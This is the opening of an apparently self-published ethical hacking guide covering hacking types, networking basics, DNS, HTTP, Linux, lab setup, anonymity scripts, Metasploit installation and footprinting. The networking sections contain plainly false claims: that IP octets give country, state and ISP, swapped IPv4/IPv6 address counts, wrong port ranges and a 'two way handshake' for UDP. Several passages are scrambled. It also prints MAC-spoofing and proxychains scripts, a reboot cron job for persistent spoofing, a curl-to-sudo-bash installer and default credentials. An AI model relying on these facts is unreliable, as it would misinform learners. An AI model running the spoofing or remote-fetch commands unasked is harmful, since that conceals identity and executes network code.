ETHICAL HACKING AND PEN-TESTING GUIDE

by talal hussain

Copyright © Talal Hussain 2024

all right revised
OPJECTIVE:
This book aims to equip readers with the essential knowledge and practical skills
required to become proficient in ethical hacking. It begins with foundational topics such as the
concept, scope, and legal considerations of ethical hacking, and provides a thorough understanding of
networking principles, including network types, IP addresses, ports, and the workings of various
network protocols. Practical skills are emphasized through detailed guides on capturing and analyzing
network packets, installing and configuring Kali Linux and essential hacking tools, and maintaining
anonymity using proxies, VPNs, and MAC address spoofing. The book delves into reconnaissance and
footprinting techniques for websites, emails, and DNS, and covers basic and advanced network
scanning, as well as methods for enumerating services like NetBIOS, SNMP, SMTP, NFS, and DNS.
Vulnerability assessment is thoroughly addressed, with strategies for testing and securing systems.
System hacking and exploitation techniques are explored, including privilege escalation on Linux and
Windows, steganography, malware creation, and payload generation. Readers will learn about
network attacks such as MAC spoofing, DHCP attacks, and man-in-the-middle attacks, along with
social engineering tactics and tools. The book also covers the impact and execution of DoS and DDoS
attacks, session hijacking, and web application security using tools like Acunetix. Wireless and mobile
security are discussed, with techniques for hacking wireless networks and securing mobile platforms.
Additionally, the principles of cryptography and methods for gathering information from Google
accounts are explained. The book concludes with an introduction to the OWASP Top 10 security risks
and mitigation strategies. By the end of this book, readers will have a comprehensive understanding
of ethical hacking, from networking basics to advanced hacking techniques, and will be well-prepared
to apply these skills in real-world scenarios, ensuring systems are secure and resilient against cyber
threats.
CARRICULUM:
Introduction, Use, Scope & Laws of Ethical Hacking

What is Networking, Types of Networking, IP Address, Ports

OSI Model vs TCP/IP Model

Network Protocols and Their Working

Introduction to Domain Names, DNS, and Zone Files

Request vs Responses Brief

Capturing and Analyzing Network Packets

All About Linux

Install Kali in VirtualBox

Installing Hacking Scripts, Tools, and Wordlists

Complete Anonymous Settings (Proxy, VPN & MAC Address)

Install and Configure Testing Machines

What is Footprinting and Reconnaissance

How to Footprint

How to Footprint a Website

How to Footprint an Email

DNS, WHOIS, and More Footprinting Techniques

What is Network Scanning

Basic to Advanced Network Scanning

What is Enumeration?

How to Enumerate NetBIOS

How to Enumerate SNMP

How to Enumerate SMTP

How to Enumerate NFS

How to Enumerate DNS

Brief About Vulnerability Assessment

How to Test for Vulnerabilities and Keep Yourself Safe

What is System Hacking?

How to Escalate Privileges in Linux and Windows

What is Steganography and How it Works

What is Malware, Trojans, and Worms (Detect Malware)

How to Create Payloads (Basic to Advanced)

What is Sniffing?

How to Perform MAC Spoofing and Flooding

Hacking DHCP and MITM

The Power of Social Engineering

Tools Used in Social Engineering

The Power of DoS/DDoS Attacks

Performing DoS and DDoS Attacks

What is Session Hijacking?

What is Cryptography?

OWASP Top 10 Security Risks and Mitigation Strategies

Explain Hacking and its types:
Ethical hacking, also known as penetration testing or white-hat hacking, is the practice of
intentionally probing computer systems, networks, and applications to identify and fix
security vulnerabilities. Unlike malicious hacking, ethical hacking is performed with the
permission of the system owner and is intended to improve the security posture of the
organization. Here are some key aspects of ethical hacking:

1. Purpose: The primary goal is to uncover security weaknesses that could be exploited by
malicious hackers. Ethical hackers simulate potential attacks to identify vulnerabilities
and recommend corrective measures to mitigate these risks.
2. Legal and Ethical Framework: Ethical hacking is conducted within the boundaries of
laws and with proper authorization. Ethical hackers must adhere to a code of conduct,
ensuring they do not cause harm to the systems they are testing or to the privacy of the
individuals using those systems.
3. Skills and Tools: Ethical hackers use the same tools and techniques as malicious hackers,
such as vulnerability scanners, penetration testing frameworks, and exploit development
tools. They need a deep understanding of computer systems, networks, and programming.
4. Types of Testing:
• White Box Testing: The hacker has full knowledge of the system, including
source code and architecture details.
• Black Box Testing: The hacker has no prior knowledge of the system and tests it
as an external attacker would.
• Gray Box Testing: The hacker has partial knowledge of the system, such as
access to some internal documents or user accounts.
5. Phases of Ethical Hacking:
• Reconnaissance: Gathering information about the target.
• Scanning: Identifying open ports, services, and potential vulnerabilities.
• Gaining Access: Exploiting vulnerabilities to gain unauthorized access.
• Maintaining Access: Ensuring continued access to the target system.
• Covering Tracks: Deleting logs and other evidence of the hacking activities to
avoid detection (in real ethical hacking, this step is done for simulation purposes
and all activities are reported).
6. Reporting: After completing the penetration test, ethical hackers provide a detailed report
of their findings, including the vulnerabilities discovered, the methods used to exploit
them, and recommendations for remediation.
 7. Certifications and Training: To become an ethical hacker, professionals often pursue
certifications such as Certified Ethical Hacker (CEH), Offensive Security Certified
Professional (OSCP), or Certified Penetration Tester (CPT). These certifications validate
their skills and knowledge in the field of cybersecurity.
Ethical hacking is an essential component of a comprehensive cybersecurity strategy, helping
organizations protect their digital assets from malicious attacks.

Types of Hackers
1. White Hat Hackers (Ethical Hackers):
• Work with organizations to improve security.
• Conduct penetration testing and vulnerability assessments.
• Operate legally and ethically.
2. Black Hat Hackers:
• Engage in illegal activities to exploit systems for personal gain.
• Aim to steal data, disrupt services, or damage systems.
3. Gray Hat Hackers:
• Operate between ethical and unethical boundaries.
• May discover vulnerabilities without permission but disclose them responsibly.
4. Script Kiddies:
• Use pre-written scripts or tools without fully understanding them.
• Often cause disruption without sophisticated skills.
5. Hacktivists:
• Hack systems for political or social causes.
• Aim to raise awareness or protest against issues.
6. State-Sponsored Hackers:
• Employed by governments to conduct espionage or cyber warfare.
• Highly skilled and well-funded.
7. Cyber Terrorists:
• Use hacking to create fear and disruption for political or ideological goals.
• Target critical infrastructure or large-scale systems.
Types of Attacks on a System
1. Phishing:
• Deceptive emails or messages tricking users into revealing personal information.
2. Malware:
• Malicious software like viruses, worms, Trojans, ransomware.
• Can damage, steal, or encrypt data.
3. Denial of Service (DoS) / Distributed Denial of Service (DDoS):
• Overloading a system to make it unavailable to users.
• DDoS involves multiple compromised systems.
 4. Man-in-the-Middle (MitM):
• Intercepting and altering communication between two parties.
• Can steal sensitive data or inject malicious content.
5. SQL Injection:
• Exploiting vulnerabilities in web applications to execute malicious SQL queries.
• Can access, modify, or delete database data.
6. Cross-Site Scripting (XSS):
• Injecting malicious scripts into web pages viewed by other users.
• Can steal cookies, session tokens, or deface websites.
7. Brute Force Attack:
• Attempting to crack passwords or encryption keys through trial and error.
8. Social Engineering:
• Manipulating individuals to disclose confidential information.
• Can involve impersonation, pretexting, baiting.
Role of Ethical Hacking
1. Identify Vulnerabilities:
• Uncover weaknesses before malicious hackers can exploit them.
2. Strengthen Security Posture:
• Provide recommendations to enhance security measures.
3. Compliance:
• Ensure systems meet regulatory and industry standards.
4. Incident Response:
• Assist in investigating and mitigating security breaches.
5. Security Awareness:
• Educate employees and stakeholders on security best practices.
Rules of Ethical Hacking
1. Get Written Permission:
• Always obtain explicit authorization from the system owner before conducting
tests.
2. Define Scope:
• Clearly outline what systems and tests are included in the ethical hacking
engagement.
3. Respect Privacy:
• Avoid accessing or tampering with sensitive data beyond what is necessary for
testing.
4. Report Findings:
• Provide a detailed and honest report of all findings and vulnerabilities.
5. Follow Legal and Ethical Standards:
• Adhere to all relevant laws and ethical guidelines in your jurisdiction.
 6. Avoid Causing Harm:
• Ensure that your testing does not disrupt normal operations or cause damage to
systems.
7. Maintain Confidentiality:
• Protect the confidentiality of the information and findings obtained during the
testing process.

Networking refers to the practice of connecting computers and other devices together to share
resources, exchange data, and communicate. It encompasses a wide range of technologies,
protocols, and systems that allow these connections and communications to happen. Here are the
key components and concepts of networking:
Types of Networks
1. Local Area Network (LAN):
• Covers a small geographic area, like a home, office, or building.
• Typically uses Ethernet or Wi-Fi.
• High-speed connectivity.
2. Wide Area Network (WAN):
• Covers large geographic areas, such as cities, countries, or continents.
• Often uses leased lines, satellite links, or public networks like the Internet.
3. Metropolitan Area Network (MAN):
• Spans a city or a large campus.
• Larger than a LAN but smaller than a WAN.
• Can be owned and operated by a single entity or a consortium.
4. Personal Area Network (PAN):
• Covers a very small area, usually a few meters.
• Includes devices like smartphones, tablets, and wearable devices.
• Often uses Bluetooth or USB.
5. Virtual Private Network (VPN):
• Extends a private network across a public network.
• Allows secure access to a private network from remote locations.
• Uses encryption and tunneling protocols.
Network topologies:
Bus Topology:
• All devices are connected to a single central cable.
• Simple but can be difficult to troubleshoot.
• Star Topology:
• All devices are connected to a central hub or switch.
• Easy to manage and expand, but the central point can be a single point of failure.
 • Ring Topology:
• Devices are connected in a circular fashion.
• Data travels in one direction, reducing the chances of collisions.
• Mesh Topology:multiple paths between n
• Devices are interconnected, with odes.
• Provides high redundancy and reliability.
• Hybrid Topology:
• Combines two or more topologies.
• Flexible and scalable.

How networking is work:

Working:
when a device connected to internet, it recive an IP address which serves as its
identifier with in local or wide area network. When ISP provide internet access via router. The
router assighed a public IP address. Any device connected through this router will recive an IP
address allocated by the router itself. The initial part of this IP belongs to router when
remaning part is assigned to the device. Private IP has no direct connection to the wide area
network. Only public IP can communicate directly over the WAN.

For example when a system need to communicate with google it send request to the router
then the router forword this on to the internet

IP address and its types:

IP stand for internet protocols. An IP consist of four pairs ( like 1.1.1.1)

each pair provide unique informatioin about your location and your device

• first pair tell us wether which country IP is found

• secound pair tell us the state is that

• third pair tell us what the ISP

• fourth pair indicate tword device

Types of IP address:

IP v6 IP v4
It consist of 128 bits It consist of 32 bits
Donated hexadecimal notation e.g Donated decimal notation e.g
3ffe:200:0234:100 1.1.1.1
4.7 billion addresses 340 trillion trillion trillion adresses

Public and private IP address:

 Public IP Private IP
Public ip is an ip that will be visiable all over Private ip is an ip that will be visiable only that
the internet area

Static and dynamic IP address:

Static IP Dynamic IP
A static IP address is a fixed IP address A dynamic IP address is an IP address that is
assigned to a device in a network. Unlike a
assigned to a device for a limited period of
dynamic IP address, which can change everytime and can change each time the device
time a device connects to the network, a static
connects to the network. These addresses are
IP address remains constant typically provided by Dynamic Host
• IPv4 Address: Configuration Protocol (DHCP) servers, which
• An example of a static IPv4 addressautomatically assign available IP addresses to
devices on a network.
might be 192.168.1.10 with a
• IPv4 Address:
subnet mask of 255.255.255.0 and
• An example of a dynamic IPv4 address
a default gateway of 192.168.1.1.
might be 192.168.1.5 today, but it
• IPv6 Address: could change to 192.168.1.20
• An example of a static IPv6 address tomorrow depending on the DHCP
might be server's assignment.
2001:0db8:85a3:0000:0000:8
• IPv6 Address:
a2e:0370:7334 with a prefix length
• An example of a dynamic IPv6 address
of 64 and a gateway of
might be
2001:0db8:85a3:0000:0000:8
2001:0db8:85a3:0000:0000:8
a2e:0370:0001.
a2e:0370:7334 for one session, and
it could change to another address in
future sessions.

Ports and their role:

if two system went to communicate with each other they eent to share
information with each other. But it use any protocol lie TCP and UDP. They have follow some
rule which decide port. The information that going which way is it going. Port have same rule
what if I’am listening at port 80 then you eill speak at port 80
total ports: 65535

well known: 0-123

registered:1024-49151

dynamic: 49151-65535

Default ports:

• Port 20: FTP - File Transfer Protocol (Data Transfer)

• Port 21: FTP - File Transfer Protocol (Control)

• Port 22: SSH - Secure Shell
• Port 23: Telnet - Telnet
• Port 25: SMTP - Simple Mail Transfer Protocol
• Port 53: DNS - Domain Name System
• Port 67: DHCP - Dynamic Host Configuration Protocol (Server)
• Port 68: DHCP - Dynamic Host Configuration Protocol (Client)
• Port 80: HTTP - Hypertext Transfer Protocol
• Port 110: POP3 - Post Office Protocol 3
• Port 119: NNTP - Network News Transfer Protocol
• Port 123: NTP - Network Time Protocol
• Port 143: IMAP - Internet Message Access Protocol
• Port 161: SNMP - Simple Network Management Protocol
• Port 443: HTTPS - Hypertext Transfer Protocol Secure

OSI model and their work:

The OSI (Open Systems Interconnection) model is a conceptual framework
used to understand and standardize the functions of a telecommunication or computing
system without regard to its underlying internal structure and technology. It is divided into
seven layers, each with specific functions and protocols. Here is an overview of the OSI model
and the role of each layer:
1. Physical Layer (Layer 1)
• Function: This layer is responsible for the physical connection between devices. It
transmits raw bit streams over a physical medium.
• Components: Includes cables, switches, hubs, repeaters, and network interface cards.
 • Protocols: Examples include Ethernet (IEEE 802.3), USB, Bluetooth, and RS-232.
2. Data Link Layer (Layer 2)
• Function: This layer provides node-to-node data transfer and handles error correction
from the physical layer. It organizes bits into frames and provides error detection.
• Components: Switches, bridges, and network interface cards.
• Protocols: Examples include Ethernet (IEEE 802.3), PPP (Point-to-Point Protocol), and
MAC (Media Access Control) addresses.
3. Network Layer (Layer 3)
• Function: This layer is responsible for logical addressing and routing. It determines the
best physical path for data to reach its destination.
• Components: Routers and Layer 3 switches.
• Protocols: Examples include IP (Internet Protocol), ICMP (Internet Control Message
Protocol), and IPsec (Internet Protocol Security).
4. Transport Layer (Layer 4)
• Function: This layer ensures end-to-end communication, reliability, and flow control. It
segments data into smaller pieces and reassembles them at the destination.
• Components: Gateways and firewalls.
• Protocols: Examples include TCP (Transmission Control Protocol) and UDP (User
Datagram Protocol).
5. Session Layer (Layer 5)
• Function: This layer manages and controls the connections between computers. It
establishes, maintains, and terminates sessions between applications.
• Components: Application software and communication sessions.
• Protocols: Examples include SMB (Server Message Block), NetBIOS, and RPC (Remote
Procedure Call).
6. Presentation Layer (Layer 6)
• Function: This layer translates data between the application layer and the network. It
handles data encryption, compression, and translation.
• Components: Data format translation, encryption, and decryption mechanisms.
• Protocols: Examples include SSL/TLS (Secure Sockets Layer/Transport Layer Security),
JPEG, MPEG, and ASCII.
7. Application Layer (Layer 7)
• Function: This layer provides network services directly to end-user applications. It
facilitates communication with lower layers and ensures that the network is accessible to
applications.
• Components: Web browsers, email clients, and other network applications.
• Protocols: Examples include HTTP (Hypertext Transfer Protocol), FTP (File Transfer
Protocol), SMTP (Simple Mail Transfer Protocol), and DNS (Domain Name System).
TCP IP Models:
The TCP/IP model, also known as the Internet Protocol Suite, is a
conceptual framework used to understand and implement networking protocols. Unlike the
OSI model, which has seven layers, the TCP/IP model has four layers. Each layer is
responsible for specific functions and protocols that facilitate network communication. Here is
an overview of the TCP/IP model and the role of each layer:
1. Network Interface Layer (Link Layer)
• Function: This layer is responsible for the physical transmission of data over network
hardware and the interactions with the network interface.
• Components: Network interface cards, cables, switches, and hubs.
• Protocols: Examples include Ethernet, Wi-Fi (IEEE 802.11), ARP (Address Resolution
Protocol), and MAC (Media Access Control) addresses.
2. Internet Layer
• Function: This layer is responsible for logical addressing, routing, and packet
forwarding. It determines the best path for data to travel across networks.
• Components: Routers and Layer 3 switches.
• Protocols: Examples include IP (Internet Protocol), ICMP (Internet Control Message
Protocol), and IGMP (Internet Group Management Protocol).
3. Transport Layer
• Function: This layer ensures end-to-end communication, reliability, and flow control
between devices. It segments data into smaller units and reassembles them at the
destination.
• Components: Gateways and firewalls.
• Protocols: Examples include TCP (Transmission Control Protocol) and UDP (User
Datagram Protocol).
4. Application Layer
• Function: This layer provides network services directly to end-user applications. It
supports application protocols and facilitates communication between software
applications and lower layers.
• Components: Web browsers, email clients, and other network applications.
• Protocols: Examples include HTTP (Hypertext Transfer Protocol), FTP (File Transfer
Protocol), SMTP (Simple Mail Transfer Protocol), DNS (Domain Name System), and
SNMP (Simple Network Management Protocol).

TCP works:
Urgent Data contain in packeges should be fast send
Finish There will be no further transmittion
 Rest Reset all data
Push Send all buffering Data quickly
Ack Acknolegment the receipts of pkgs
synchoronize Initial a connection between hosts

TCP vs UDP protocols:

TCP UDP
TCP follow three way hand UDP follow two way hand
shake shake

DNS and Zone file:

DNS (Domain Name System):
1. Function: DNS serves as the phonebook of the
internet, translating domain names into IP addresses
so that computers can communicate with each other.
2. Components:
• DNS Resolver: A client-side application that initiates DNS queries to find the IP
address corresponding to a domain name.
• DNS Server: Responds to DNS queries and stores DNS records that map domain
names to IP addresses.
3. Types of DNS Records:
• A (Address) Record: Maps a domain name to an IPv4 address.
• AAAA (IPv6 Address) Record: Maps a domain name to an IPv6 address.
• CNAME (Canonical Name) Record: Creates an alias for a domain name (e.g.,
www.example.com can be an alias for example.com).
• MX (Mail Exchange) Record: Specifies the mail server responsible for receiving
email for the domain.
• TXT (Text) Record: Holds arbitrary text data, often used for information or
verification purposes.
• NS (Name Server) Record: Indicates the authoritative name servers for the
domain.
4. DNS Resolution Process:
• When a user enters a domain name in a web browser, the DNS resolver sends a
query to the DNS server.
• The DNS server checks its records. If it doesn't have the requested information, it
 forwards the query to other DNS servers until it finds the IP address associated
with the domain name.
• Once the IP address is found, it is returned to the DNS resolver, which then
connects to the website or service requested by the user.
Zone File:
1. Definition: A zone file is a text file that contains DNS records for a specific domain or
subdomain. It is stored on a DNS server and provides information about the domain's
authoritative name servers and the mappings of domain names to IP addresses.
2. Contents of a Zone File:
• SOA (Start of Authority) Record: Specifies authoritative information about the
domain, including the primary name server for the domain and contact
information for the domain administrator.
• NS (Name Server) Records: Identify the authoritative name servers for the
domain.
• A (Address) Records: Map domain names to IPv4 addresses.
• AAAA (IPv6 Address) Records: Map domain names to IPv6 addresses.
• CNAME (Canonical Name) Records: Create aliases for domain names.
• MX (Mail Exchange) Records: Specify mail servers responsible for receiving
email for the domain.
• TXT (Text) Records: Store arbitrary text data associated with the domain, such as
SPF (Sender Policy Framework) records for email authentication.
3. Usage: Zone files are used by DNS servers to resolve queries and provide authoritative
answers about domain names within the zone. They are crucial for the proper functioning
of DNS and ensuring that domain names resolve correctly to their respective IP
addresses.

Request and Response:

Request:
1. Definition: A request is a message sent by a client (such as a web browser or application)
to a server, initiating a specific action or requesting data or services.
2. Components:
• Header: Contains metadata about the request, including information like the
HTTP method (GET, POST, etc.), headers, and sometimes cookies or
authentication tokens.
• Body (Optional): Contains additional data sent with the request, such as form
data in a POST request.
3. Types of Requests:
• HTTP Request: Used in web communications, such as fetching a web page (GET
 request) or submitting form data (POST request).
• DNS Request: Sent by a client to a DNS server to resolve a domain name to an IP
address.
• API Request: Used in software applications to interact with web services, often
using protocols like REST or SOAP.
4. Example (HTTP Request):
• Method: GET
• URL: https://example.com/page
• Headers: Accept: text/html
• Body: (empty for GET requests)
Response:
1. Definition: A response is a message sent by a server to a client in reply to a request. It
contains the requested data or confirms the action initiated by the request.
2. Components:
• Status Line: Indicates the status of the response (e.g., HTTP status code 200 OK,
404 Not Found).
• Headers: Provide additional information about the response, such as content type,
length, and caching directives.
• Body: Contains the actual data or content requested by the client (e.g., HTML
web page, JSON data).
3. Types of Responses:
• HTTP Response: Includes various status codes (e.g., 200 for successful requests,
404 for not found, 500 for server errors).
• DNS Response: Contains the IP address or other information requested in a DNS
query.
• API Response: Provides data or confirms actions in response to API requests,
often formatted as JSON or XML.
4. Example (HTTP Response):
• Status Code: 200 OK
• Headers: Content-Type: text/html; charset=UTF-8
• Body: (HTML content of the requested web page)
Request-Response Cycle:
1. Initiation: The client sends a request to the server.
2. Processing: The server receives, processes, and validates the request.
3. Response: The server sends a response back to the client.
4. Handling: The client receives and processes the response, performing further actions as
needed (e.g., rendering a web page, displaying data).

Request methods:
• GET:
Purpose: Requests data from a specified resource.
Characteristics: Parameters are sent in the URL query string. It is idempotent (multiple
identical requests should have the same effect as a single request).
• POST:
Purpose: Submits data to be processed to a specified resource.
Characteristics: Data is sent in the body of the request. It is not idempotent (repeated
identical requests may have different effects each time).
• PUT:
Purpose: Updates a specified resource with the provided data.
Characteristics: Typically used to update existing resources or create new ones if they do
not exist.
• DELETE:
Purpose: Deletes the specified resource.
Characteristics: Removes the resource identified by the URL.
• PATCH:
Purpose: Applies partial modifications to a resource.
Characteristics: Used to apply partial updates to a resource, rather than replacing the
entire resource.
• HEAD:
Purpose: Requests headers that are identical to those that would be sent if the request
were a GET request.
Characteristics: Useful for retrieving metadata about a resource without transferring the
entire content.
• OPTIONS:
Purpose: Requests information about the communication options available for the target
resource.
Characteristics: Used to determine the HTTP methods supported by the server or to
request information about the server's capabilities.
• TRACE:
Purpose: Performs a message loop-back test along the path to the target resource.
Characteristics: Echoes the received request, allowing the client to see what changes or
additions have been made by intermediate servers.
• CONNECT:
Purpose: Establishes a tunnel to the server identified by the target resource.
Characteristics: Primarily used to establish a secure SSL/TLS connection through an
HTTP proxy.
All about linux:
Linux is an open source, free to use oprating system. It based on linux kernal. It
was developed by sep-7-1991.

Features:
• multiuser
• multitasking
• portability security
• GUI support
• Application support
• file system
• open to modify

some File system in linux:

• /bin: Essential user binaries (executable programs) accessible to all users.
• /boot: Files needed for booting the operating system.
• /dev: Device files representing hardware devices.
• /etc: System-wide configuration files.
• /home: Home directories for regular users.
• /lib and /lib64: Shared libraries needed by programs in /bin and /sbin.
• /proc: Virtual file system containing information about system processes and kernel
parameters.
• /sbin: System binaries (programs) used for system administration tasks.
• /tmp: Temporary files that may be deleted between reboots.
• /usr: Secondary hierarchy for read-only user data and programs.
• /var: Variable files such as logs, databases, and spool files.

Linux basic Commands:

• pwd:
Print working directory: Displays the current directory path.
• ls:
List: Lists files and directories in the current directory.
• cd:
Change directory: Changes the current directory.
• mkdir:
Make directory: Creates a new directory.
• rmdir:
 Remove directory: Deletes an empty directory.
• rm:
Remove: Deletes files or directories.
• cp:
Copy: Copies files or directories.
• mv:
Move: Moves or renames files or directories.
• cat:
Concatenate: Displays the contents of a file.
• less:
View file: Views file contents one screen at a time.
• nano:
Text editor: Opens a text editor to create or edit files.
• vim or vi:
Text editor: Opens a more advanced text editor.
• ps:
Process status: Lists currently running processes.
• top:
Dynamic process viewer: Displays real-time information about processes.
• df:
Disk free: Shows disk space usage.
• du:
Disk usage: Displays disk usage of files and directories.
• echo:
Echo: Prints a message or value of a variable.
• grep:
Global regular expression print: Searches for patterns in files.
• chmod:
Change mode: Changes file permissions.
• sudo:
Superuser do: Executes a command as the superuser (root).

Ethical hacking Lab setup:

Setting up an ethical hacking lab involves creating a controlled environment where you can
practice cybersecurity techniques legally and safely. Here’s a general method to set up an ethical
hacking lab:
Hardware and Software Requirements:
1. Hardware:
 • Computer: A decently powered machine with enough RAM (at least 8GB) and
storage to run virtual machines (VMs).
• Network Adapter: If possible, a wireless network adapter that supports monitor
mode for WiFi hacking.
2. Software:
• Operating System: Preferably Linux distributions like Kali Linux for ethical
hacking tools or Ubuntu for general compatibility.
• Virtualization Software: Install software like VMware Workstation Player,
VirtualBox, or VMware Fusion (for macOS) to run virtual machines.
• Ethical Hacking Tools: Download and install tools such as Nmap, Wireshark,
Metasploit, Burp Suite, and others as needed.
Setting Up Virtualization:
1. Install Virtualization Software:
• Download and install VMware Workstation Player, VirtualBox, or VMware
Fusion on your host operating system.
2. Create Virtual Machines:
• Kali Linux: Download the Kali Linux ISO from the official website. Create a new
VM using the virtualization software, and install Kali Linux as a guest OS.
• Other Operating Systems: Depending on your needs (e.g., Windows for specific
attacks), create additional VMs.
3. Networking Configuration:
• Set up network configurations such as NAT (Network Address Translation),
Bridged Networking, or Host-Only Networking as per your requirements.
• Ensure VMs can communicate with each other and the host OS as needed.
Lab Environment Setup:
1. Install Ethical Hacking Tools:
• Update Kali Linux and install necessary tools using package managers like apt-
get.
2. Configure Network Services:
• Set up services like DNS, DHCP, FTP, HTTP servers, etc., within your VMs for
testing and practice.
3. Security Configuration:
• Configure firewalls, IDS/IPS systems, and security settings within your lab
environment to simulate real-world scenarios.
Practice and Exercise:
1. Lab Exercises:
• Follow tutorials or ethical hacking courses to practice various techniques like
network scanning, vulnerability assessment, penetration testing, etc.
2. Capture the Flag (CTF) Challenges:
 • Participate in online CTF challenges to test your skills in a controlled
environment.
3. Documentation and Reporting:
• Keep a log of your activities, findings, and solutions for future reference and
reporting.
Safety and Legal Considerations:
1. Permission and Consent:
• Always ensure you have legal permission and consent to perform ethical hacking
activities, especially when practicing on live systems or networks.
2. Isolation:
• Keep your ethical hacking lab isolated from your regular network and systems to
prevent accidental harm or exposure.
3. Backup and Recovery:
• Regularly back up your VMs and important data to recover from any accidental
changes or compromises.
Anonymus settings:
first of all we will open our terminal. First thing to check our host name is correct
or not. This is the same name that we werw installing in kali linux it should be window.
Proxy configure:
To configure proxy change we go to its file. For adding proxies we will go to any
proxy web site and copy some proxies and save it in their file

Terminal Code:
• #!/bin/bash
•
• # Switch to superuser
• sudo su
•
• # Edit a specific file (replace 'folder_name' and 'file_name' with actual folder and file
names)
• gedit /path/to/folder_name/file_name
•
• # Edit the hosts file (assuming it's located in /etc/hosts)
• gedit /etc/hosts
•
• # Change directory to a specific folder (replace '/path/to/folder' with actual folder path)
• cd /path/to/folder
•
 • # List files in the directory
• ls
•
• # Edit a specific file in the current directory (replace 'file_name' with actual file name)
• gedit "file_name"
•
• # Use proxychains with curl to request a URL (replace 'http://example.com' with actual
URL)
• proxychains curl http://example.com
•
• # Exit superuser mode
• exit

Mac address Configuration:

to change mac address just only run mac changer tool
Terminal code:
• #!/bin/bash
•
• # Switch to superuser
• sudo su
•
• # Display network interfaces
• ifconfig
•
• # Display macchanger options
• macchanger --help
•
• # List available network interfaces
• macchanger -l
•
• # Replace 'eth0' with your actual network interface name (e.g., wlan0)
• INTERFACE="eth0"
•
• # Change directory to a specific folder (replace '/home/your_username/scripts' with actual
folder path)
• cd /home/your_username/scripts
•
• # List files in the directory
 • ls
•
• # Edit or create mac.sh script using gedit
• gedit mac.sh
•
• # Provide script shebang and initial comments
• echo '#!/bin/bash' > mac.sh
• echo '# Script to change MAC address' >> mac.sh
•
• # Change MAC address of the specified interface three times
• macchanger -e $INTERFACE
• macchanger -e $INTERFACE
• macchanger -e $INTERFACE
•
• # Exit superuser mode
• exit
for permanent Anonymous:
• #!/bin/bash
•
• # Install Git and update system
• sudo apt-get update
• sudo apt-get install -y git
• sudo apt-get upgrade -y
•
• # Clone Torgoast repository (replace with actual URL)
• git clone <torgoast_repository_url>
• cd torgoast
•
• # Build Torgoast (if necessary)
• ./build.sh
•
• # Clone Python 3 repository (if required by Torgoast)
• git clone <python3_repository_url>
•
• # Run Torgoast Python script (adjust as needed)
• python3 torgoast.py
•
• # Navigate to the directory containing mac.sh
 • cd /path/to/your/script/directory
•
• # Create or edit mac.sh script
• echo '#!/bin/bash' > mac.sh
• echo 'macchanger -e eth0' >> mac.sh
•
• # Make mac.sh executable
• chmod +x mac.sh
•
• # Add cron job to run mac.sh at system reboot
• (crontab -l 2>/dev/null; echo "@reboot /path/to/your/script/directory/mac.sh") | crontab -
•
• # Start cron service (may vary based on Linux distribution)
• sudo service cron start
•
• # Ensure proper permissions for mac.sh
• chmod +x /path/to/your/script/directory/mac.sh
•
• # Reboot the system to apply changes
• sudo reboot

Changing wifi MAC:

• #!/bin/bash
•
• # Switch to superuser
• sudo su
•
• # Display network interfaces
• ifconfig
•
• # Take down wlan0 interface
• ifconfig wlan0 down
•
• # Change WLAN0 MAC address
• ifconfig wlan0 hw ether 00:05:09:08:98:76
•
• # Bring up wlan0 interface
• ifconfig wlan0 up
 •
• # Exit superuser
• exit

Installing and configure testing machine:involves several steps to ensure

it's properly configured and ready to use for penetration testing and ethical hacking. Here's a
detailed guide on how to install Metasploit Framework on a Linux system, particularly focusing
on Debian-based distributions like Kali Linux:
Method 1: Using Official Installer (Recommended)
1. Update and Upgrade: Ensure your system packages are up to date.
bash
Copy code
sudo apt update
sudo apt upgrade

2. Install Dependencies: Metasploit requires several dependencies that should be installed

first.
bash
Copy code
sudo apt install curl gnupg2 apt-transport-https

3. Add the Metasploit Repository: Add the Metasploit repository to your package sources.
bash
Copy code
curl -sSL https://packages.metasploit.com/metasploit-
framework/script.deb.sh | sudo bash

4. Install Metasploit Framework: Once the repository is added, install Metasploit

Framework.
bash
Copy code
sudo apt update
sudo apt install metasploit-framework

5. Verify Installation: After installation, verify that Metasploit is installed correctly.

bash
Copy code
msfconsole --version

6. Start Metasploit: Start Metasploit by running msfconsole.

bash
 Copy code
msfconsole

Method 2: Manual Installation (Alternative)

If the above method doesn't work or if you prefer a manual installation approach, follow these
steps:
1. Install Dependencies: Ensure necessary packages are installed.
bash
sudo apt update
sudo apt install build-essential libreadline-dev libssl-dev
libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git
autoconf postgresql pgadmin3 zlib1g-dev libxml2-dev
libxslt1-dev vncviewer libyaml-dev curl zlib1g-dev

2. Clone Metasploit Repository: Clone the Metasploit GitHub repository.

bash
git clone https://github.com/rapid7/metasploit-framework.git

3. Setup Metasploit: Change directory into the cloned repository and setup Metasploit.
bash
cd metasploit-framework
./scripts/setup/external_msgrpc.sh

4. Start Metasploit: Start Metasploit using the msfconsole command from within the
metasploit-framework directory.
bash
./msfconsole

5. Updating Metasploit: To update Metasploit in the future, navigate to the

metasploit-framework directory and update it from the GitHub repository.
bash
git pull

note: login ID: msfadmin

password: msfadmin

Footprinting and reconnassance:

Footprinting in cybersecurity refers to the process of gathering information about a target system
or network to identify potential vulnerabilities and weak points. Here's an overview of the
methods and techniques involved in footprinting:
Methods of Footprinting
1. Passive Information Gathering:
• Search Engines: Use search engines like Google to find information that has been
indexed from publicly available sources.
• Social Media: Gather information from social networking sites, forums, and
professional networks where employees might share details about their work.
• WHOIS Lookup: Query WHOIS databases to find information about domain
registrations, including contact details and DNS servers.
• Job Sites: Gather information about employees, their roles, and possibly
technologies in use from job postings and company profiles.
• Archive Sites: Explore web archives to find older versions of websites or
documents that may reveal sensitive information.
2. Active Information Gathering:
• Port Scanning: Use tools like Nmap to scan target systems for open ports,
services running, and potential vulnerabilities.
• Network Enumeration: Use tools like NetBIOS, SNMP, and DNS enumeration
to gather information about network resources, shares, and devices.
• Banner Grabbing: Retrieve banners from network services to identify software
versions and potentially exploitable vulnerabilities.
• Social Engineering: Use social engineering techniques to gather information
from employees through phone calls, emails, or in-person interactions.
3. Footprinting Tools and Techniques:
• Google Hacking (Google Dorking): Use specific search queries (Google Dorks)
to find sensitive information that Google indexes.
• Web Spidering: Use tools like wget or dedicated web spidering tools to
recursively download web pages for offline analysis.
• DNS Interrogation: Use tools like nslookup or dig to gather information
about a domain's DNS records, subdomains, and mail servers.
• Traceroute Analysis: Use tools like traceroute or tracert to map the path
packets take to reach a target system, identifying potential points of entry.
• Social Media Analysis Tools: Use tools designed to scrape and analyze social
media profiles and activity for reconnaissance purposes.
